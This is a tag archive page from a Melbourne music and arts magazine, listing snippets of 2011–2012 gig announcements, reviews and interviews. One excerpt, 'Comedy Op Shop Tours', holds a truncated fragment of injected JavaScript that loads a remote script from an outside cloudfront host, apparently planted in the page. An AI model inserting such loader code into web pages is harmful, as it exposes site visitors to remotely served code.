Tag: "melbourne"

Descendents
0 Comments. 1,315 Views. Posted 20 Jan 2011 @ 11:20am.
The pantheon of punk bands is littered with pretenders and wannabes; applying cultural significance to a band churning out three-chord approximations of pop tunes with ill-thought out and naïve shouted sloganeering will always be rife with problems. But punk bands that define a generation, define a sound and define the ideal ethos of ‘punk’ – musically,... Read More
Sugar Army Announce Single Tour
0 Comments. 2 Views. Posted 18 May 2012 @ 1:33pm.
In celebration of new single Hooks For Hands,, Perth now-quintet will be playing a short stint of shows including Melbourne.   These shows will be the first the band have performed live as a five-piece, with the addition of Chris Simmons on Bass and Ben Pooley on keys and guitar since the release of their last album, The Parallels Amongst Ourselves in 2009.   Hooks For Hands is the... Read More
Kids of 88 Announce Melbourne Show
0 Comments. 351 Views. Posted 4 May 2012 @ 3:52pm.
New Zealand pop duo Kids of 88 have announced a Melbourne show in support of their new single Tucan, released today. After signing a major label deal and releasing their debut album Sugarpills in 2010, two years later Sam McCarthy and Jordan Arts are preparing album number two Modern Love. Tucan is the first single from the impending album and features the vocal help of fellow New Zealander... Read More
The Vasco Era Announce Last Shows for 2012
0 Comments. 269 Views. Posted 4 May 2012 @ 1:48pm.
Though we're not even halfway through the year, Melbourne trio The Vasco Era have announced their last shows for 2012. Front-man Sid O'Neil will be spending the next six months or so traipsing around Europe and so the band have decided to have a send off, and will be joined by some announced special guests.   Since releasing their third album in October last year, The Vasco Era spend a... Read More
Jonathan Boulet, Kindness, Tom Vek Triple Bill
0 Comments. 208 Views. Posted 3 May 2012 @ 9:53am.
One of the many highlights on Sydney's massive Vivid LIVE lineup will be hitting Melbourne, with the Modular-curated triple bill of Jonathan Boulet, Kindness and Tom Vek making the trip south at later this month. The Melbourne show will mark the Australian debut for two of the UK's hottest acts - Tom Vek (pictured) and Kindness will be making their maiden journey across the pond for the tour.... Read More
The Staffords : Hollow To The Core
0 Comments. 115 Views. Posted 2 May 2012 @ 11:31am.
  Chris Cheney produced the single by this emerging Melbourne three-piece, a straight-faced country rock number that would sit comfortably in a Billy Ray Cyrus set list. It rocks, it rolls, it boot scoots, it speaks of wanton women and broken men, and hits familiar notes in a very familiar order. Absolutely pleasant but also completely bland. Read More
Bon Voyage Luke
0 Comments. 2,513 Views. Posted 2 May 2012 @ 9:49am.
  This week’s 'hijacked' Beat cover salutes Captain Luke Benge. Our much loved eccentric typesetter who's been with us longer than we can remember. Sorry to the faint hearted of you out there in Melbourne but hey, whatever, we love a bit of cock at Beat. Read More
My Disco @ The Toff In Town
0 Comments. 141 Views. Posted 1 May 2012 @ 12:12pm.
  A few weeks prior to My Disco’s return to the live setting in Melbourne, band members Ben Andrews and Rohan Rebeiro took their deep house side-project Kangaroo Skull to Brunswick’s Tinning Street Gallery. The smoke machine failed to perform that night, leaving a relatively weak mist to underlie the half hour of intense strobe-lighting to provide a complementary sensory overload. Tonight... Read More
100% Melbourne
0 Comments. 589 Views. Posted 1 May 2012 @ 11:33am.
  Statistics isn’t usually a word associated with fun or creativity. Without faces to a number or stories to a percentage, it’s hard for anyone to muster the energy to care about how John and Jane down the street filled out last year’s census form. 100% Melbourne is putting an animated spin on those usually lifeless numbers, attempting to encourage people to stand up and take notice of their... Read More
BLOKK
0 Comments. 44 Views. Posted 7 May 2012 @ 12:40pm.
We’ve all heard of The Block, but now it’s time for us to feel our heads with everything BLOKK.  Exciting street artist, Ian Blokkeerus – who’s down for designing bars here and there around Melbourne, is getting ready to recreate Sailor Jerry’s 1940’s style tattoos as life-size pieces airbrushed onto board.   His works are sure to take you on a trip which is not only entertaining and... Read More
Muscles Announces Tour and Album
0 Comments. 218 Views. Posted 27 Apr 2012 @ 12:32pm.
To celebrate the release of Manhood, Muscles will be taking himself off around the country to give everyone a taste of what he's got. Manhood, due out on June 15 though Modular, is Muscles' log awaited second album. With its release he is promising to create an even bigger spectacular including outrageous props and an elaborate light show to depict all of Muscles' multiple personalities.  ... Read More
Get Your Garage Sale On
1 Comments. 268 Views. Posted 24 Apr 2012 @ 4:21pm.
  Last year saw the inauguration of Garage Sale Trail, an internationally recognised sustainability program. It's back in 2012, and this year The City of Melbourne have jumped on board activating our fair city's streets with it.  Taking place on Saturday 5 May, Garage Sale Trail welcomes households, makers and creators, cultural institutions, charities, schools, libraries, local... Read More
Deall
0 Comments. 85 Views. Posted 24 Apr 2012 @ 1:15pm.
  Life in his newly adopted hood’s been good going for young Tyler, the man behind Deall. “Man, you can’t beat a Melbourne Autumn,” he chimes from his home base. “We’ve had a great one so far and the forecast is excellent for both weather and gigs.” The lad’s been living the proverbial dream in the northern suburbs, working a 9-5 and going for as many languid swims as possible. “I have a... Read More
Sub Atari Knives @ The Evelyn
0 Comments. 350 Views. Posted 24 Apr 2012 @ 12:51pm.
  Another ripping night of Melbourne alternative music. An extremely varied bill more suited to the open minded among us. Thankfully, there are a number of those in Melbourne, and a very solid crowd jammed into the classic surrounds of the mighty Evelyn this cool early autumn Melbourne evening.   Featuring two members of one of Melbourne’s best known alternative/heavy acts Sydonia, I... Read More
Ed Sheeran 2012 Tour
0 Comments. 518 Views. Posted 19 Apr 2012 @ 11:56am.
  One of our favourite gingers has annouced his return to Australia after a brief promo visit earlier in the year. Ed Sheeran is excited to announce his first run of headline shows in Australia and New Zealand. His unique amalgamation of acoustic music, folk and hip hop beats has earned this red-haired performer fans across the world in an impressive period of time. In 2009 alone, he... Read More
Record Store Day 2012
0 Comments. 369 Views. Posted 19 Apr 2012 @ 11:23am.
  So much industry conversation nowadays is geared to the digitalisation of music and online sales. As comfortable and convenient as it is to have so many sounds at the click of your fingertips, it's also an incredibly insular and limited way to consume music – alone, in your room, as you discover and learn the loops and crunches and BPM that make up your ideal life soundtrack. The joys of... Read More
Core - April 18, 2012
0 Comments. 364 Views. Posted 18 Apr 2012 @ 6:28pm.
  Last weekend I stumbled upon a devastating ailment that threatens gig-goers nationwide. Every one of us is susceptible to it, and many of us can find it leaves us penniless and forlorn. Worse than the drunken text message, more menacing than the mashed ‘pash n dash’, slightly more crippling than the ‘underestimation-of-perpetual-state-of-poverty-when-shouting-strangers-rounds-of-jagers’…it... Read More
Sheriff : Sheriff
0 Comments. 297 Views. Posted 18 Apr 2012 @ 3:19pm.
  If you’re looking for slick production, atmospheric soundscapes or catchy pop hooks, you best look elsewhere. If you dig fat, bawdy grooves, lots of exuberant hollering and music that’s generally free of spit and polish, then Sherriff are your bag.   This is the Melbourne three-piece’s debut EP, and it’s a raw and beer-soaked as it is fun. This band’s music sounds like it’s the... Read More
Scriptwriter At Neighbours
0 Comments. 983 Views. Posted 18 Apr 2012 @ 2:57pm.
The 2012 Neighbours Scriptwriter Training Initiative will give two writers the chance to spend 6 weeks with the story department on one of Australia’s favourite soapies.   Writing for Neighbours has long been a prestigious springboard into the industry, and the initiative will provide two gifted writers the chance to work their magic with the current cast of characters. Read More
The Bells Of Friday The 13th - Forces
5 Comments. 572 Views. Posted 12 Apr 2012 @ 2:04pm.
  Bells, by and large, are a huge part of our lives. They let us know when dinner’s ready. They alert imprisoned children as to when school is over for the day. Famously morose author Edgar Allan Poe even wrote a poem about them. On the artistic front here in Melbourne, there are, of course, the Federation Bells in Birrarung Marr.   Consisting of 39 individual computer-controlled... Read More
60 Seconds With... The Good Ship
0 Comments. 114 Views. Posted 10 Apr 2012 @ 2:21pm.
  Describe your sound in five words or less: Porno, country, folk, cabaret.   So, someone is walking past as you guys are playing, they then go get a beer and tell their friend about you... what do they say? They don’t walk past, they dance past. And when they go get a beer, they bring it back to one of us, forget about their friend, laugh, shout, sing and dance some more.   What... Read More
Zoe Coombs Marr — Gone Off
0 Comments. 455 Views. Posted 10 Apr 2012 @ 3:45pm.
This is a true story, Zoe Coombs Marr tells us at the outset, but if you’re seeking a tale of redemption you’ve come to the wrong place. She doesn’t find herself at the end. She doesn’t become a better person.    In her mid-20s, Coombs Marr breaks up with her girlfriend and finds herself smack-bang in the midst of a quarter-life crisis. She vacates her share-house and pawns her... Read More
Music Victoria 2012 Membership Drive
0 Comments. 673 Views. Posted 4 Apr 2012 @ 11:51am.
  "To champion Victorian music," this has been Music Victoria's mission since began in late 2009, working hard to ensure our musicians and industry get every opportunity possible. It's now time to make sure such a cause sticks around, and to do so Music Victoria are holding their very first membership drive From April 16 to 30, Music Victoria are encouraging all music fans to 'Jump on the... Read More
Scatter Scatter Tropical Disco
0 Comments. 1 Views. Posted 3 Apr 2012 @ 11:40am.
Inspired by the afro-beat vibes of Nigeria and beyond, the Public Opinion Afro Orchestra have certainly established themselves as some of Melbourne's favourite purveyors of jazz, African, hip-hop and everything in between.  The mammoth 17-strong crew consists of some of the city's finest musicians, fresh off an Australian tour and have also recently played alongside Norman Jay and the... Read More
Comedy Op Shop Tours
0 Comments. 1 Views. Posted 2 Apr 2012 @ 12:10pm.
One bus. Five Stops. Forty People. Endless Bargains. That’s what the creator of Op Shop Tours Australia, Joanne O’Callaghan, promises. But as part of the Melbourne International Comedy Festival, she adds some funny to the mix as well. // -1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders... Read More
People's Market Live Shows Announced
0 Comments. 250 Views. Posted 29 Mar 2012 @ 2:37pm.
This April the People's Market container area will welcome Peachy Live, a special unearthed compilation of artists. The Peoples Market which acts as a creative space will be a particularly musical space when Peachy Live brings together Melbourne bands, Celadore, Eloji, The Wellingtons, Bittersweet Kicks and The McQueens. The Thousand Pound Bend mixologists will be looking after the bar as food... Read More
Core - March 28, 2012
0 Comments. 416 Views. Posted 28 Mar 2012 @ 5:48am.
  OK here’s a question: can you create a sound on an album that you can’t completely replicate live? Are you entitled to squeaks, bangs, squeaks and whistles, soprano vocals and ambitious meedly meedly if you know for a fact that you are unable to pull it off onstage? Keeping in mind that very few bands are able to exist entirely in the context of albums and that most bands will need to tour... Read More
Saltar Hype's Fifth Anniversary @ The Hi-Fi
0 Comments. 186 Views. Posted 27 Mar 2012 @ 11:39am.
  With Rock The Bay the week before, and its organiser Saltar Hype's fifth birthday celebrations in this particular week, the last two weekends of February were a veritable feast for fans of the bountiful Australian alternative rock scene.   Black and White are an enigmatic mob. All the music is written and recorded by a bloke who doesn't play live with the band. They play a highly... Read More
Freelance Writer At Beat
0 Comments. 2,649 Views. Posted 22 Mar 2012 @ 12:01pm.
Us fine folk here at Beat are after looking to take on board more of the finest writing talent this town has to offer. We are currently looking for freelance writers who are keen and knowledgeable within the realms of electronic music, hip hop or arts.   For many, writing for Beat is a dream come true. Rightly so! This is a fantastic opportunity to immerse yourself deep within Melbourne's... Read More
Q&A: Vitruvian Man
0 Comments. 320 Views. Posted 21 Mar 2012 @ 5:58am.
  Define your genre in five words or less: Progressive hard rock.   So, someone is walking past as you guys are playing, they then go get a beer and tell their friend about you... what do they say? "Besides being ludicrously handsome, these guys really go for it live! I think I just shit my pants, and I like it!”.   How long have you been gigging and writing? Gigging for three... Read More
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